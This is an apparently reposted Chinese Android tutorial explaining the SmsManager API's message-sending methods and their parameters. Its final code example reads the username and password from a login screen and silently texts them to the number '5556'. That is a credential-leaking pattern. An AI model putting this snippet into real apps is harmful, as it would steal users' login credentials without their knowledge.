_030_Android_ Android開發之SmsManager(簡訊管理器)詳解
轉自https://blog.csdn.net/qq_37443229/article/details/80039836,感謝作者的無私分享。
SmsManager是Android提供的另一個非常常見的服務,SmsManager提供了系列sendXxxMessage()方法用於傳送簡訊。
SmsManager:管理簡訊操作,如傳送資料,文字和PDU簡訊。通過呼叫靜態方法SmsManager.getDefault()獲取此物件。
Public Methods |
|
ArrayList<String> |
divideMessage(String text) 當簡訊超過SMS訊息的最大長度時,將簡訊分割為幾塊。 |
static SmsManager |
getDefault() 獲取SmsManager的預設例項。 |
void |
sendDataMessage(String destinationAddress, String scAddress, short destinationPort, byte[] data, PendingIntent sentIntent, PendingIntent deliveryIntent) 傳送一個基於SMS的資料到指定的應用程式埠。 |
void |
sendMultipartTextMessage(String destinationAddress, String scAddress, ArrayList<String> parts, ArrayList<PendingIntent> sentIntents, ArrayList<PendingIntent> deliveryIntents) 傳送一個基於SMS的多部分文字,呼叫者應用已經通過呼叫 divideMessage(String text)將訊息分割成正確的大小。 |
void |
sendTextMessage(String destinationAddress, String scAddress, String text, PendingIntent sentIntent, PendingIntent deliveryIntent) 傳送一個基於SMS的文字。 |
說明:
· ArrayList<String> divideMessage(String text)
當簡訊超過SMS訊息的最大長度時,將簡訊分割為幾塊。
引數:text——初始的訊息,不能為空
返回值:有序的ArrayList<String>,可以重新組合為初始的訊息
· static SmsManager getDefault()
獲取SmsManager的預設例項。
返回值:SmsManager的預設例項
void SendDataMessage(String destinationAddress, String scAddress, short destinationPort, byte[] data,PendingIntent sentIntent, PendingIntent deliveryIntent) 傳送一個基於SMS的資料到指定的應用程式埠。
引數:
1)、destinationAddress——訊息的目標地址
2)、scAddress——服務中心的地址or為空使用當前預設的SMSC
3)destinationPort——訊息的目標埠號
4)、data——訊息的主體,即訊息要傳送的資料
5)、sentIntent——如果不為空,當訊息成功傳送或失敗這個PendingIntent就廣播。結果程式碼是Activity.RESULT_OK表示成功,或RESULT_ERROR_GENERIC_FAILURE、RESULT_ERROR_RADIO_OFF、RESULT_ERROR_NULL_PDU之一表示錯誤。對應RESULT_ERROR_GENERIC_FAILURE,sentIntent可能包括額外的“錯誤程式碼”包含一個無線電廣播技術特定的值,通常只在修復故障時有用。
每一個基於SMS的應用程式控制檢測sentIntent。如果sentIntent是空,呼叫者將檢測所有未知的應用程式,這將導致在檢測的時候傳送較小數量的SMS。
6)、deliveryIntent——如果不為空,當訊息成功傳送到接收者這個PendingIntent就廣播。
異常:如果destinationAddress或data是空時,丟擲IllegalArgumentException異常。
void sendMultipartTextMessage(String destinationAddress, String scAddress, ArrayList<String> parts,ArrayList<PendingIntent> sentIntents,ArrayList<PendingIntent> deliverIntents)
傳送一個基於SMS的多部分文字,呼叫者應用已經通過呼叫divideMessage(String text)將訊息分割成正確的大小。
引數:
1)、destinationAddress——訊息的目標地址
2)、scAddress——服務中心的地址or為空使用當前預設的SMSC
3)、parts——有序的ArrayList<String>,可以重新組合為初始的訊息
4)、sentIntents——跟SendDataMessage方法中一樣,只不過這裡的是一組PendingIntent
5)、deliverIntents——跟SendDataMessage方法中一樣,只不過這裡的是一組PendingIntent
異常:如果destinationAddress或data是空時,丟擲IllegalArgumentException異常。
void sendTextMessage(String destinationAddress, String scAddress, String text, PendingIntent sentIntent,PendingIntent deliveryIntent)
傳送一個基於SMS的文字。引數的意義和異常前面的已存在的一樣。
loginBtn.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
String s = userNameET.getText().toString();
String s1 = passwordET.getText().toString();
SmsManager sM = SmsManager.getDefault();
//desinationAddress : 目的地
//scAddress: 源地址
//text: 傳送的文字資料
//sentIntert: 傳送成功報告
//deliveryIntent: 對方開機之後收到簡訊的報告
sM.sendTextMessage("5556",null,s+" "+s1,null,null);
}
});